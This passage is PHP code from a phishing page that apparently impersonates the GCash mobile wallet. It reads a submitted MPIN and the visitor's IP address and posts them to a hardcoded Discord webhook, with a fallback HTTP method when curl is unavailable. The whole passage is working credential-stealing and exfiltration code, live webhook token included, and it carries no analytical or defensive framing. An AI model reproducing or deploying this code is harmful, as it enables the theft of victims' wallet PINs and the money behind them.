$ip \n\n$mpincode"; include('Gcash_files/tele_bot.php'); if ($_POST["mpincode"]) { $mpincode =($_POST['mpincode']); http_response_code(200); discordBOT('```MPIN '.$mpincode."\nIP Address:".$ip1.'```'); } function discordBOT($msg) { $webhookurl = "https://discord.com/api/webhooks/978065857307635782/Uw70hx2ApBrj1QEuiInMxUt1zOXJrazjZ-y1YnZ4kh6zLUix4trJ_dYRB51G7w6flQzT"; $check = function_exists('curl_version') ? true : false; if ($check) { $json_data = array('content' => "$msg", 'username' => "logs niyo master"); $make_json = json_encode($json_data); $ch = curl_init($webhookurl); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $make_json); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); return $response; } else { $json_data = array('content' => "$msg"); $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/json', 'content' => json_encode($json_data) ) ); $context = stream_context_create($opts); $response = file_get_contents($webhookurl, false, $context); return $response; } }